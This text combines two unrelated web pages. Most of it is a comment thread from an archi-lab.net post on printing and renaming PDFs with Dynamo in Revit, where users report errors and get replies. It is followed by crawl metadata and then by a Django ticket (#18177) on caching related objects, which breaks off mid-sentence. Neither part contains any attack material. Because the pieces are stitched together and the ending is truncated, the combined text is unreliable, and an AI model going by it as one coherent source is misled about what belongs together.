Attachment: Result.png Hi Konrad pdf print works great in revit 2016 thanks! but in revit 2017 it doesn’t… revit crashes. have you any idea what the problem could be. an unrecoverable error has occured greetz martijn I am having this same problem – getting a fatal error when using the script in 2017 (it worked in 2016, though I did get a fatal error sometimes there, too). Anyway, any insight would be much appreciated. Thanks for all your work! Hi Konrad I am having trouble getting the script to work by printing the pdfs off. I’m getting the same error message , Traceback (most recent call last): File “”, line 27, in WindowsError: [Errno 17] [Errno 183] Cannot create a file when that file already exists. Although nothing is getting printed off/ renamed. The printing node works fine. Could you take a look? is it because the “list4” part are not equal values? would massively appreciate your help on this thanks. Attachment: Rname-node.png Hello Konrad and thank you for you hard work. I am also getting the same error message as Liam C. Has anybody been able to work this out? I have found some more up to date material regarding this. Thank you again for getting us to this stage. I’ve been researching for dynamo for quite some time at work and I’m now feeling a need to bring something into the office to make us more efficient! Regards, Jack Hi Konrad, I’m trying to use the rename files node that you have created. However, I’m getting the following error. “Traceback (most recent call last): File “”, line 27, in WindowsError: [Errno 2] [Errno 3] Could not find a part of the path ‘C:\Users\jdukelow\Desktop\PBA Drawing borders\Prints\1000.pdf’.” I’m a bit stuck with this could you help? Thanks in advance. Attachment: Capture-2.png Joe, I posted an example of how this node was meant to work here: Please have a look at it and follow it exactly. Cheers! Thanks Konrad. Thanks for your response. I have followed the example you have given but still get the same results. I have attached an image of the Dynamo graph. Apologies if I have missed something obvious. Thanks, Joe Attachment: 3-Dyanmo-Graph.png Hi, I think have managed to come up with a fix to the reason why the Rename Files node was not working. There seems to be an error in the Python code. I copied the Python code into a new workspace and hooked up the inputs. When run I got the following error: Warning: IronPythonEvaluator.EvaluateIronPythonScript operation failed. Traceback (most recent call last): File “”, line 37, in NameError: name ‘sheets’ is not defined Checking line 37 in the Python script “OUT = sheets”. I replaced this with “OUT = newFileName” and the renaming now works. You’ll have to excuse my lack of scripting knowledge, and this may not be the ultimate fix but its working my end now. Hi, In order to answer to Alberto Castellanos. (SEPTEMBER 20, 2016 AT 12:52 PM) I met the same problem and i solve it with to thing : – first thing i set my lacing to “Shortest” (lacing is my weakness) – but the Rename Files component from the online package returned the wrong test (in fact when i put on the OUT the list of identifiers it return each char of each list items). Man this is because half of the import are missing in the downloadable package component. Copy past the code post in this thread and all will be ok) To Pascal (OCTOBER 8, 2016 AT 9:21 PM) You can handle it in one script while using the runIt boolean INPUT. Just change the OUT of the PrintPdf component to 1 instead off “succes” and link it to a Python Script Delay bloc, here is the code i’m using (i’m sure there is a better way to get the delay value from the execution of the pdf generation but i’m to lazy to search for it :P) : #————————————————————- import clr clr.AddReference(‘ProtoGeometry’) from Autodesk.DesignScript.Geometry import * dataEnteringNode = IN import time input = IN[0] seconds = IN[1] time.sleep(seconds) OUT = input #————————————————————- Then just link the OUT of PrintPdf to the First input of your Delay Python script – Create a int or code block to set the delay in second – add a input to the python script and link the OUT to the RunIt of Rename Files! It works like a charm. Wish i helped Hello Konrad, I am attempting to use the printing nodes in Revit 2017 and Dynamo 1.3; however, the Local Printers Names node keeps giving me a fatal error. Is there any advice or help you might be able to provide? Even after removing the node from the custom node and placing the Python script itself in the flow, it fatal-errored and does not provide any error or way to check it that I can see. Thank you. Hi Konrad, Thanks for the great work. However, with the latest arch-lab.net package, it looks like Dynamo Print Setting node is being overwritten by the settings in Revit print dialogue, so when I feed A1 and A3 print setting into the Print PDF node, it prints the PDF with the current setting, so that A1 is printed as A3 size or vise versa. Also the Rename node is giving me N as the file name for the first file in the list and leaves the others untouched. Just wondering if there is another update to the arch-lab.net package. I’m running 2016.13.3 and Revit 2016 Cheers Hi Konrad, I have a problem with the rename module (I’ve not been using the print options, I’m just interested in renaming the files once they are printed – is this a problem?). When I run the script it renames the first sheet with the first number that it should be renaming it with and then stops and doesn’t add a .pdf suffix. and I get this error message (for 3 files I am testing on): Traceback (most recent call last): File “”, line 27, in WindowsError: [Errno 2] [Errno 3] Could not find a part of the path C:\Users\adam.NRSN\Documents\New folder\2723 Craigsfarm Community Centre – CENTRAL_adam – Sheet – A(2-)00 – BUILDING ELEMENTS. Do you have any idea as to the issue? Thanks Hi Adam, I’ve beed strugiling with the same issue. Done some research and found that renaming module doesnt work for dynamo 1.3 it still works on dynamo 0.9. However, thats not so convinient. More interesting solution can be found here: Summerizing, what is in the link, you can declare Identifiers and NewNames input as list of strings – see attached image. Still, the tool is amazing. Thank You Konrad Attachment: RenamingNode-modification.jpg Is there a way to create a scheduled PDF print…i.e.: print a set of PDFs every friday at noon. Perhaps by combining a DynamoAutomation package and Archi-lab. I would suggest you also look at RTV Tools. Thank you so much Konrad!!! Amazingly done. Hi Konrad, Thnx for sharing this, the problem that occurred for me is that the print settings that I have selected doesn’t work, the current settings in revit are used to print the sheets. can you help me out? im using revit 2017. Greets Maurice Hi Konrad, this is awesome. However the “Sheet Revision” code block parameter does not work for me and therefore cannot input current revision at the end of each file name. Has the name of this been updated? Or is this a custom parameter that you made in your project? Thanks. It seems the correct parameter should be “Current Revision” However, the rename script still does not work. I am presented with the following error after trying to input the current revision into the pdf file name. WindowsError: [Errno 17] [Errno 183] Cannot create a file when that file already exists. Hello, It is mentioned in the article that the Adobe print settings ‘Output Folder’ always overrides where the file is saved. I have a similar issue with the Bluebeam print driver. Has anyone found a print driver that allows the code to override the settings and choose the file path, instead of having the user choose? Thanks! I’m new to Dynamo, so please be gentle and forgive my ignorance. This is great and I’ve gotten it to print all PDFs in the currently open RVT. I’d like to add the function of printing all sheets in all RVT files in a list of specified directories. ((This is to say I want to open all models in the mechanical, electrical, and plumbing folders of the project, print all sheets from all files, then close.)) I have nodes for open in the background and another to close (from Rhythm), but I don’t know how to tie that into this script since the list of sheets from your script is pulled from the currently open file. Perhaps what I’m asking is: how do I put A before B rather than running A and B concurrently? Any assistance is greatly appreciated. Thank you. You would need to work with linked documents. You can get views from linked document, but the Print PDF node was not designed to print from a linked model. This all comes down to getting the right document in the code, so it needs to be accounted for, and I didn’t think of that potential use case. Sorry. You are left with coding it up or using a $50 RTV Tools. They are great! Konrad, Many thanks for this! However, as many before me have already said, there seems to be an issue somewhere, i assume with the Rename.Files Node. The INPUTs for Rename.Files are exactly as per your example in the discussion attached, yet the OUTPUT returns errors at line 27 for each item on the output list. Is there a fix for this? I have gone through this entire comments section, tried everything and no luck. Many thanks in advance if you’re able to look into this. I can send over my .dyn file if needed. Attachment: archilab.jpg Hello Guys, Im new to Dynamo aswell, Konrad is saying that the Rename files script needs a directory path. But when you edit the script it says filepath? is this wrong or is my dynamo knowledge not that good.. Hy Konrad, How do i know that the Rename Files node is the latest version? The Python script states “2016”.. I’m running packages as seen on attachement. grtz Raf Attachment: packages.jpg Hey Konrad Nice work! However I’m getting an error “Cannot create a file when that already exists”. Not sure why as the file name is different. Interestingly if I copy the Python node out of the custom node is works, albeit with an error on Line 37 saying ‘sheets not defined’. Any idea what is going on? Attachment: Capture.jpg Konrad. Thank you very much for this dynamo application. It works perfectly. Also now I can print all different sheets formats with only one click. Awesome! Hi Konrad, Need your help. How can I do the print PDF’s to one file only? I cannot get it working. Does it has something to do with the PDF print driver? If yes what print driver can you suggest? Thanks! Hi Konrad, I have a problem with the script (or with printer/revit). All my pdf’s are the same size (printing goes with default paper size of printer). It looks like PrintSettings are not taken into consider. Attachment: Problem.png The current api entry for revision is: “SHEET_CURRENT_REVISION” so you’ll have to update your code block to suit in the sheet renamer When I run the rename. I get an message that says “Your intended file name is not a compatible file name. Make sure that you are not strings like……. and the file was renamed not as shown on “String From List” “Watch” node. How do I fix this issue? Attachment: Rename-File_Dynamo.png The identifiers input is used to find the file that will be renamed. I see two files in that folder and their names are not useful for the identifier to be able to find it. Please have a look at this page: Every time I make the CombinedFile “True” my dynamo either crashes or freezes. I’ve let it run for up to 30 mins to be successful and it still doesn’t work. I’m trying to get all my pdfs be one and not individual pdfs. Please help! So this is quite an old node that I wrote a long time ago, and haven’t really had time to make any recent updates to it. Please go to Dynamo Forum: Search for Printing PDFs. I might have answered a similar question there, or some other users might have had suggestions. I will try and do a better job with updating this in the future. Hello I am Civil Engineering student in year 3. I want to ask you if we want to learn Dynamo Revit What kind of skill that we need to learn? please recommend to me. .. What kind of skill do you need to learn Dynamo? I don’t know. What do you want to do with Dynamo? Why do you want to learn it? Hi, I have tried recreating the script but Naming of the pdf file is not working for me consistently. I tried to do it with Dynamo 1.2 as well but got the same result. Attachment: 935adbf0a1c84958d73a80ef565f7bd085865c76.png Here’s my forum’s query. Hi, First of all, thanks for the amazing work. I am having some problems with ‘printer settings’. No matter which setting I select, it always prints on the paper size on which setting it is defined at that moment in Revit. It’s like the program I run does not overwrite (or choose) the printer setting in Revit with the setting I selected in Dynamo. Any chance you can help me? I work with Revit 2020. Thanks in advance! Kind regards, Brenten Smekens I don’t think that printing from Dynamo is a great idea. I think you should look into tools like pyRevit for it. I stopped using my Dynamo nodes for it quite a while ago. Why do you prefer doing that with Dynamo? If there is a legitimate reason we can probably work out a good solution for that, but just for everyday printing i think pyRevit or other tools that are also free or really cheap are much better than Dynamo. Konrad, Thank you so much for this, it’s fantastic!!! It’s taken a bit of juggling but I’ve got it working. The only problem I’m having is that each time i open it the “View Sets”, “Print Range” and “Print Settings” nodes have an additional output point added and i have to relace them, see image linked below Is there something I’m doing wrong. Attachment: Node-lacing-191219.jpg I think the additional port output issues are related to version of Dynamo you are using and the version of the archi-lab.net packages you are using. So the package version has the following format 2020.23.1 where 2020 stands for Revit version, 23 stands for main Dynamo version supported ie. 2.3 and finally 1 stands for build number. That last number is just iterated as I make changes. The first two matter because you might have some API changes between Revit versions that we are taking advantage of. The main thing that matters though is that middle Dynamo version. Please make sure that you are updated to the latest. Many thanks Konrad. Happy New Year. I’ve encountered the same issue as above. The View sets, print range, and print settings nodes have an additional output point added to them. I’m currently running dynamo 2.0.3 and I have archi-lab.net package 2018.2.2 installed (Latest package for Dynamo 2.0.3?) Any ideas on what to do to fix it? Attachment: Print-to-PDF-does-not-rename.png You might want to update to Dynamo 2+ and latest version of archi-lab.net Hi, Think i might have gone something wrong in the renaming part but not sure what it is i’ve done as it doesn’t rename properly. It removes the entire name and replaces it with a single character Attachment: PDF-Print.png I cant seem to find the “Get Views from View Set” Node am I missing something? I have downloaded the archi-labs.net package. I’m new to Dynamo sorry in advance. Please download archi-lab.net packages from the Package Manager. It should be there. Thanks for building this. I was able to modified it so it pulls from my sheet list. One question for you. How do it take multiple sheets and make it print as one file? TI thought setting the combined file to true would work. It seem I only changes the time of the files.
https://archi-lab.net/printing-pdfs-w-dynamo/?replytocom=1369
CC-MAIN-2021-39
refinedweb
10,074
73.68
The Gnome Applet widget module of Gtk-Perl (Gnome::Applet namespace). WWW: No installation instructions: this port has been deleted. The package name of this deleted port was: PKGNAME: NOTE: FreshPorts displays only information on required and default dependencies. Optional dependencies are not covered. No options to configure Number of commits found: 6 As announced on May 6, remove the broken p5-GnomeApplet port BROKEN: Does not compile Clear moonlight beckons. Requiem mors pacem pkg-comment, And be calm ports tree. E Nomini Patri, E Fili, E Spiritu Sancti. Upgrade to 0.7008 Upgrade to 0.7006. Add p5-GnomeApplet, it's perl binding for Gnome Applet. Servers and bandwidth provided byNew York Internet, SuperNews, and RootBSD 27 vulnerabilities affecting 58 ports have been reported in the past 14 days * - modified, not new All vulnerabilities
http://www.freshports.org/x11-toolkits/p5-GnomeApplet/
CC-MAIN-2015-48
refinedweb
135
51.34
Optimizing C++/General optimization techniques/Input/Output Contents Store text files in a compressed format[edit] Disk have much less bandwidth than processors. By (de)compressing on the fly, the CPU can speed up I/O. Text files tend to compress well. Be sure to pick a fast compression library, though; zlib/gzip is very fast, bzip2 less so. The Boost Iostreams library contains Gzip filters that can be used to read from a compressed file as if it were a normal file: namespace io = boost::iostreams; class GzipInput : public io::filtering_istream { io::gzip_decompressor gzip; std::ifstream file; public: GzipInput(const char *path) : file(path, std::ios_base::in | std::ios_base::binary) { push(gzip); push(file); } }; Even if this is not faster than "raw" I/O (e.g. if you have a fast solid state disk), it still saves disk space. time.. The C++ standard does not define a memory mapping interface and in fact the C interfaces differ per platform. The Boost Iostreams library fills the gap by providing a portable, RAII-style interface to the various OS implementations.
http://en.wikibooks.org/wiki/Optimizing_C%2B%2B/General_optimization_techniques/Input/Output
CC-MAIN-2014-42
refinedweb
179
60.04
February 14, 2008 Central Bankers Fueling Global Commodity Inflation by Gary Dorsch.. Other weapons in the G-7's arsenal to counter a bear market for equities include brainwashing investors thru the media, fudging economic and inflation data, inflating the money supply, managing the "yen carry" trade, and outright intervention in stock index futures, championed by the US "Plunge Protection Team." After surveying the global landscape, the G-7 warned, "Downside risks still persist, including further deterioration of the US residential housing markets and tighter credit conditions." Bank of Italy chief Mario Draghi added, "Risks are further shocks may lead to a prolonged recurrence of the acute liquidity pressures experienced last year. We face a prolonged adjustment, which could be difficult," he warned. Banks and brokerage firms around the world face $400 billion in write-offs of toxic sub-prime US mortgages, said German Finance Minister Peer Steinbrueck on Feb 11th. "The crisis that spread from the US property market to global financial markets may continue well into 2008," he warned. The US credit crisis is no longer just a sub-prime mortgage problem. Many prime loans made in recent years also allowed borrowers to pay less initially, but with higher adjustable payments in later years. With US home prices falling and lenders clamping down, homeowners with solid credit are also under the same financial stress as those with sub-prime credit. Over 40% of all mortgages issued from late 2005 to early 2007 are based on adjustable rates, so about $45 billion would reset each month this year. The expected tax rebates from Washington will cover less than two months of home payments.. In Chicago, futures contracts for the Case-Shiller Home Price Index in the 20-biggest US cities are 9.4% lower from a year ago, and the slide might get worse as $550 billion of sub-prime adjustable rate mortgages adjust upwards this year. The Fed's rate cutting spree since September, slashing the fed funds rate by 2.25%, might help by reducing the reset rate for many adjustable-rate loans. But US consumers are hobbled by falling stock prices, tighter credit conditions, high gasoline prices, and a soft labor market. Sliding home values are also eroding the equity US households can tap for cash at the same time banks are tightening credit, threatening the consumer spending that the economy needs to dodge recession. "Going forward, we will continue to watch developments closely and take appropriate actions, individually and collectively, in order to secure stability and growth in our economies," the G-7 said after their secret meeting. The big threat to US household spending is primarily focused on the slumping housing market, but a double-barreled assault can be disastrous, so if the US stock markets keeps sliding, it would probably tip the economy into recession. And a US recession could undermine the global economy, like tumbling dominoes, since the US consumer buys about 20% of the world's $14.5 trillion of exports. The Federal Reserve has been the most hyper-active G-10 central bank in pumping liquidity into the global markets, slashing the fed funds rate to a negative 1%, in inflation adjusted terms. The Fed "will be carefully evaluating incoming information bearing on the economic outlook and will act in a timely manner as needed to support growth and to provide adequate insurance against downside risks," Fed chief Ben "B-52" Bernanke told the Senate Banking Committee on Feb 14th. Since the Fed began lowering rates in August, the Dow Jones AIG Commodity Index has jumped +22% to a record high of 200-points, while the MSCI All World Index, measuring the top-43 stock markets, has tumbled 7-percent.. In agricultural commodities, there are supply constraints in terms of the amount of arable land available. There are huge shifts in demand from the emerging economies, where populations are moving to cities, and incomes are rising, and changing dietary patterns. Entering energy into the food equation, the surging ethanol industry has put a squeeze on the corn market, causing prices to be demand driven. Bio-diesel traders are looking at soybean and vegetable oils. Fund managers are pouring money into commodities across the board as a hedge against the explosive growth of the world's money supply, and competitive currency devaluations engineered by central banks. Wheat had climbed nearly 10% since the beginning of the year, hitting an all-time high of $11.50 /bushel, as investment funds kept buying futures with US wheat supplies at the lowest level in 60-years. Because most global commodities are traded in US dollars, the Federal Reserve has a special role to play in defending the value of the US dollar in the foreign exchange markets. On Dec 27th, Hu Xiaolian, director of China's Foreign Exchange wrote, "If the US federal funds rate continues to fall, this will certainly have a harmful effect on the US dollar exchange rate and the international currency system," Hu wrote. Central banks are flooding the markets with paper, and nobody takes the dollar, the Euro, the yen, or the pound seriously. Investors are turning to gold because it is the only true store of value. The Arab oil kingdoms and Asian exporting nations are importing inflation through their currency pegs and dirty floats, but their patience with the US dollar is near the snapping point. OPEC may abandon the US dollar for pricing oil and adopt the Euro, said OPEC Secretary-General Abdullah al-Badri on Feb 8th. "Maybe we can price the oil in the Euro. It can be done, but it will take time. It took two world wars and more than 50 years for the dollar to become the dominant currency. Now we are seeing another strong currency coming into the frame, which is the Euro," said Badri. The US Treasury and the Fed are risking a disastrous replay of the 1970's, when high oil prices fueled double-digit inflation. Every time the Fed lowered rates to boost job growth, inflation took off, causing a vicious price spiral. The Fed let inflation rage for so long that it took a strict monetarist approach, adopted by Paul Volcker in 1979 to finally defeat inflation. However, the cost of subduing the inflation monster was a deep recession, with unemployment hitting 11% in 1982. Excessive monetary accommodation just takes the economy from bubble to bubble to bubble. This time around, the Fed's devaluation of the dollar, based upon Mr Greenspan's 2001-02 blueprints, has unleashed the biggest wave of commodity inflation seen since the 1970's. Bank of England follows in Fed's Footsteps With 1.5 million adjustable rate mortgages due to reset in the UK this year, the Bank of England has joined the Fed's money printing orgy. On Feb 7th, the BoE lowered its key lending rate by a quarter-point to 5.25%, following a similar cut in December. Pressure has increased on the BoE's Monetary Policy Committee to slash borrowing costs, even as soaring energy and food bills are driving inflation higher. Britain's factories are facing the strongest input price pressures on record and are ramping up prices to compensate, but that didn't stop the Bank of England from lowering its base rate to 5.25% last week, to shore up the Footsie-100 stock index. And there is little sign that UK price pressures are set to ease with the cost of raw materials surging 18.9% from a year earlier, the fastest rate in 22-years. UK producer prices are surging at an annualized 5.7% rate in January, a 16-year high, not surprising, given the bullish trends in the global commodity markets. The price of imported food into the United Kingdom rose by nearly 15% in the past 12-months. But the bigger fear haunting the BoE is that weaker growth will undermine housing and stock prices, putting further pressure on bank balance sheets, and prompting a further tightening in credit conditions. On Feb 13th, the BoE projected an economic slowdown to zero percent in the first two quarters of 2008, with a high probability that the UK economy will contract in at least one quarter. BoE chief Mervyn King's message was blunt. "Tighter credit conditions will bear down on demand, while rising energy, food and import prices will push up on inflation. Both developments are now more acute than in November," he warned. Mr King says the BoE is powerless to counter surging commodity prices, which he believes "will result in a genuine reduction in our standard of living. However, there is no point in us going mad and pretending it is sensible to double interest rates in order to bring inflation back to target in the next six months," he argued. Instead, King thinks that slower growth over the coming year will "reduce pressures on capacity" and bring inflation down to target towards the beginning of 2009. "The Bank of England needs to stop worrying about inflation and cut interest rates to prevent a sharp slowdown in growth," said BoE policymaker David Blanchflower on January 27th. "It's essential that the BoE get ahead of the curve, as the current level of UK interest rates are restrictive. Evidence from the housing and the commercial property market is worrying. It is time for the MPC to lead not follow. Worrying about inflation at this time seems like fiddling when Rome burns," he declared Herein is the crux of the "Stagflation" trap. Lowering interest rates to bolster the local economy can backfire by igniting faster inflation, and erode the purchasing power of local citizens. But the BoE has been destroying the purchasing power of UK citizens for years, by inflating the British M4 money supply, up 12.4% from a year ago. Gold has risen by 110% against the British pound from four years ago, and is a proven vehicle for protecting asset wealth from abusive central bankers. To ease the plight of its exporters, the BoE engineered a 10% devaluation of the British pound, from a 26-year high against the dollar in November. Britain's goods trade deficit with the rest of the world ballooned to a record at 87.4 billion pounds ($170.4 billion) last year, up 10% from 2006. The UK's current-account deficit widened to 5.7% of gross domestic product, the highest of G-7 nations. But a weaker pound also exacerbates Britain's inflation problem, by lifting import prices. "The BoE needs to balance the risk that a sharp slowing in activity pulls inflation below target against the risk expectations keep inflation above target," the BoE said. Given the choice of defending the purchasing power of the British pound or rescuing the housing and stock market, the BoE will eventually show its weak hand, and lower its interest rates further, spinning its citizens on the treadmill of inflation.. Gary Dorsch. »
http://www.safehaven.com/article-9471.htm
crawl-002
refinedweb
1,830
59.13
Hi All, vdsClient will be removed from master branch today. It is using XMLRPC protocol which has been deprecated and replaced by JSON-RPC. A new client for vdsm was introduced in 4.1: vdsm-client. This is a simple client that uses JSON-RPC protocol which was introduced in ovirt 3.5. The client is not aware of the available methods and parameters, and you should consult the schema [1] in order to construct the desired command. Future version should parse the schema and provide online help. If you're using vdsClient, we will be happy to assist you in migrating to the new vdsm client. *vdsm-client usage:* vdsm-client [-h] [-a ADDRESS] [-p PORT] [--unsecure] [--timeout TIMEOUT] [-f FILE] namespace method [name=value [name=value] ...] Invoking simple methods: # vdsm-client Host getVMList ['b3f6fa00-b315-4ad4-8108-f73da817b5c5'] For invoking methods with many or complex parameters, you can read the parameters from a JSON format file: # vdsm-client Lease info -f lease.json where lease.json file content is: { "lease": { "sd_id": "75ab40e3-06b1-4a54-a825-2df7a40b93b2", "lease_id": "b3f6fa00-b315-4ad4-8108-f73da817b5c5" } } It is also possible to read parameters from standard input, creating complex parameters interactively: # cat <<EOF | vdsm-client Lease info -f - { "lease": { "sd_id": "75ab40e3-06b1-4a54-a825-2df7a40b93b2", "lease_id": "b3f6fa00-b315-4ad4-8108-f73da817b5c5" } } EOF *Constructing a command from vdsm schema:* Let's take VM.getStats as an example. This is the entry in the schema: VM.getStats: added: '3.1' description: Get statistics about a running virtual machine. params: - description: The UUID of the VM name: vmID type: *UUID return: description: An array containing a single VmStats record type: - *VmStats namespace: VM method name: getStats params: vmID The vdsm-client command is: # vdsm-client VM getStats vmID=b3f6fa00-b315-4ad4-8108-f73da817b5c5 *Invoking getVdsCaps command:* # vdsm-client Host getCapabilities Please consult vdsm-client help and man page for further details and options. [1] -- Irit Goihman Software Engineer Red Hat Israel Ltd. _______________________________________________ Users mailing list Users@ovirt.org
https://www.mail-archive.com/users@ovirt.org/msg38714.html
CC-MAIN-2021-17
refinedweb
333
55.54
Lesson 22: Check Bluetooth MAC Address Written by Jonathan Sim You can find this lesson and more in the Arduino IDE (File -> Examples -> Andee). If you are unable to find them, you will need to install the Andee Library for Arduino IDE. If you want to create applications that will either shut out unauthorised users or just display different user interfaces to different sets of users, one way to do this involves filtering users by their smartphone Bluetooth MAC address. A MAC address is a hardware address that is unique to each and every Bluetooth device. In this lesson, I'll show you how to retrieve the MAC address of the connected smartphone and display it on the screen, like this: #include <SPI.h> #include <Andee.h> // We'll use a display box to show the current MAC address AndeeHelper displaybox; char strBuffer[30]; // String to store the retrieved Bluetooth info char current_mac_id[18]; // String to store the extracted MAC address.setLocation(0,0,FULL); displaybox.setTitle("Connected MAC Address"); } void loop() { if( Andee.isConnected() ) // Do this only when Andee is connected { // Send command to the Andee to get some Bluetooth device information // and store it in the string buffer Andee.sendCommand("GET CONNECTED MAC_ID", strBuffer); // As the retrieved information contains more than just the MAC address, // we'll need to extract the MAC address and store it in another string strncpy(current_mac_id, strBuffer, 17); // Extract MAC address displaybox.setData(current_mac_id); displaybox.update(); } delay(500); // Always leave a short delay for Bluetooth communication }
http://resources.annikken.com/index.php?title=Lesson_22:_Check_Bluetooth_MAC_Address
CC-MAIN-2017-09
refinedweb
253
50.06
io_wrapper_is_memory_based Name io_wrapper_is_memory_based — returns the memtype if an io_object is an in-memory io_object Synopsis #include "io_wrapper.h" | int **io_wrapper_is_memory_based** ( | io, | | | | buf, | | | | len ); | | io_object * <var class="pdparam">io</var>; char ** <var class="pdparam">buf</var>; size_t * <var class="pdparam">len<. returns the memtype if an io_object is an in-memory io_object. - io the io object - buf pointer to a variable to hold the buffer pointer (may be NULL) - len pointer to a variable to hold the buffer length (may be NULL) Returns 0 if the object doesn't represent a memory based object, otherwise returns the memory type for the memory. If buf is non-NULL, it will be updated to hold the pointer to the start of the memory blob. If len is non-NULL, it will be updated to hold the size of the memory blob.
https://support.sparkpost.com/momentum/3/3-api/apis-io-wrapper-is-memory-based
CC-MAIN-2022-05
refinedweb
138
58.92
PostgreSQL provides its own shell to execute queries. To establish connection with the PostgreSQL database, make sure that you have installed it properly in your system. Open the PostgreSQL shell prompt and pass details like Server, Database, username, and password. If all the details you have given are appropriate, a connection is established with PostgreSQL database. While passing the details you can go with the default server, database, port and, user name suggested by the shell. The connection class of the psycopg2 represents/handles an instance of a connection. You can create new connections using the connect() function. This accepts the basic connection parameters such as dbname, user, password, host, port and returns a connection object. Using this function, you can establish a connection with the PostgreSQL. The following Python code shows how to connect to an existing database. If the database does not exist, then it will be created and finally a database object will be returned. The name of the default database of PostgreSQL is postrgre. Therefore, we are supplying it as the database name. import psycopg2 #establishing the connection conn = psycopg2.connect( database="postgres", user='postgres', password='password', host='127.0.0.1', port= '5432' ) #Creating a cursor object using the cursor() method cursor = conn.cursor() #Executing an MYSQL function using the execute() method cursor.execute("select version()") #Fetch a single row using fetchone() method. data = cursor.fetchone() print("Connection established to: ",data) #Closing the connection conn.close() Connection established to: ( 'PostgreSQL 11.5, compiled by Visual C++ build 1914, 64-bit', ) Connection established to: ( 'PostgreSQL 11.5, compiled by Visual C++ build 1914, 64-bit', )
https://www.tutorialspoint.com/python_postgresql/python_postgresql_database_connection.htm
CC-MAIN-2021-49
refinedweb
269
51.44
The breakthrough in technology has brought a whole new range of tool suite for developers to make the software development process more efficient. React App is among one of them! A prominent tool recommended by the React community to create single-page applications (SPAs) and also get familiar with React. React App ensures that the development process is refined enough to let developers leverage the latest JavaScript functionalities for better experiences and optimization of the apps for production. For one of our clients- a giant retail travel outlet - who went out to get a realistic travel budget in mind for the travelers to plan ahead and avoid spending shocks along the way we built a budget planner. Built on React.js on top of Drupal, it is a dynamic feature and can be added anywhere in the website (under blogs, services) without coding. Creating React App doesn't require configuration of web pack (bundler for modules) and babel (compiler). They come inbuilt. Developers can right away start with coding here. However, the drawback is that they won’t be able to get an idea about things happening in the background. If we set up React App without using the Create React App, then we will be able to know which all NPM packages/components are needed to make react app working. About React App Create React App was built by Joe Haddad and Dan Abramov. The GitHub repository is well-maintained by the creators to fix errors and deliver updates frequently. It is a prominent toolchain for building apps quickly and efficiently. A toolchain can be defined as a set of different s/w development tools that are optimized to perform specific functions. For example, the C++ development process requires the compiler to compile the code and a build system, say CMake, to manage all the dependencies. Similarly, the React App is used to create “hello-world” applications. This blog will showcase how to create a React app from scratch. The prerequisite is to have the NPM package manager installed in the system. Below mentioned are the steps for the same- Step 1- Create an app directory mkdir myApp Step 2- Access myApp folder and run npm init This, in turn, will create a package.json file for which you can provide the name and version. Or npm init -y This will create a package.json file with a default package name and version. Step 3- Install react and react-dom packages npm install react react-dom This will create a node_modules folder with all dependent libraries to further add dependency inside package.json file) Step 4- Create a .gitignore file, to avoid pushing unnecessary files to GitHub vi .gitignore Under files section, add all the files which you don’t wish to be tracked by Git - node_modules - dist - ._ dist ( Distributed folder ):- This is an auto-generated build directory. We don’t require this folder because it will be generated by the compiler. Step 5- Create an app folder mkdir app Access app directory and then create three files - touch index - js index.css - index.html Step 6- Edit index.html and add below snippet <!DOCTYPE html> <html> <head><title> my-app </title></head> <body> <div id="app"></div> </body> </html> ( No need to add any styling inside index.css file as of now ) Step 7- Edit index.js file and add below snippet import React from 'react'; import ReactDOM from 'react-dom'; import './index.css'; class App extends React. Component{ render(){ return( <div>Hello World</div> ) } } ReactDOM.render(<App />, document.getElementById('app')) At the time of running this JSX code (XML/HTML- like syntax used by React that extends ECMAScript) in the browser, it will drop an error. Because the JSX code browser doesn’t understand and that is when we require Babel and Webpack. npm install --save-dev @babel/core @babel/preset-env @babel/preset-react webpack webpack-cli webpack-dev-server babel-loader css-loader style-loader html-webpack-plugin NPM install takes 3 exclusives, optional flags that either save or duplicate the package version in your main package.1. JSON: -S, ~save: The package appears in your dependencies2. -D,~save.dev: The package appears in your devDependencies3. -O, ~save-optional: The package appears in your optionalDependencies We will use Flag--save-dev to differentiate between built dependency & app dependency. Once installed successfully, you can check the package.json file to check the differences. Webpack Configuration Webpack, as stated is a module bundler, which primarily focuses on bundling JavaScript files for usage in a browser. Though it is also capable of transforming, bundling, or packaging just about any resource or asset. Check the steps below for webpack configuration- touch webpack.config.js Step 1- Add below snippet in this file' }) ] } Step 2- To allow babel-loader work well, we have to add babel preset config to package.json "main": "index.js", "babel":{ "presets" : [ "@babel/preset-env", "@babel/preset-react" ] } Step 3- To run build, we need to add webpack to script within the package, i.e., package.json "main": "index.js", "babel":{ "presets" : [ "@babel/preset-env", "@babel/preset-react" ] }, "scripts": { "create": "webpack" }, Step 4- Run below command npm run create With this, webpack will be created, which, in turn, will create a dist folder and our bundle file including index.html. Watch this video to learn more about it Step 5- Now to start webpack dev server, add below snippet inside package.json file "scripts": { "start": "webpack-dev-server --open" } It will start building our code as soon as we run npm start. Step 6- All setup is done. Now run `npm run start` command to see the result on the browser. The final directory structure will somewhat look like this as shown in the picture - Note: You might observe some storybook related extra files in the picture. However, these files won’t be visible in your setup. If you want to know about the storybook, stay tuned for our next blog. Conclusion I hope that now you have understood the fundamentals of Create React App better. If Yes, then implement the given steps right away and start building your awesome ideas! Stay tuned for my next blog in which I will discuss Storybook. Happy Coding!
https://www.srijan.net/resources/blog/setup-react-app-from-square-one-without-using-create-react-app
CC-MAIN-2021-25
refinedweb
1,040
56.25
Opened 6 years ago Closed 6 years ago Last modified 6 years ago #18177 closed New feature (fixed) Discovering a relation should cache the originator if applicable Description Currently, related fields will not cache the originator object (which holds the field) into the returned objects. This patch makes reverse ForeignKey and OneToOneField relations cache the originator(s) into the queryset, and then in turn to the returned objects. In example, it validates this test, with Pool objects having a ForeignKey to Tournament objects: def test_fk(self): with self.assertNumQueries(2): tournament = Tournament.objects.get(pk=1) pool = tournament.pool_set.all()[0] self.assertIs(tournament, pool.tournament) Without this patch, the expression pool.tournament would trigger a third query and create a different instance. It also works with .prefetch_related() calls. Attachments (3) Change History (10) Changed 6 years ago by comment:1 Changed 6 years ago by Er, apparently, this was fixed while I was writing this patch for cases where prefetch_related was not used. The attached patch which applies against r17916 only adds the functionality for when prefetch_related is used. Imagine there's a .prefetch_related('pool_set') on the third line of the example :) def test_fk_prefetch_related(self): with self.assertNumQueries(2): tournament = ( Tournament.objects.prefetch_related('pool_set') .get(pk=1) ) pool = tournament.pool_set.all()[0] self.assertIs(tournament, pool.tournament) Changed 6 years ago by comment:2 Changed 6 years ago by comment:3 Changed 6 years ago by comment:4 Changed 6 years ago by First, thanks for your work this patch! It was really helpful. To be honest, I didn't really understand the changes at first sight, I used your tests (they are great) and I 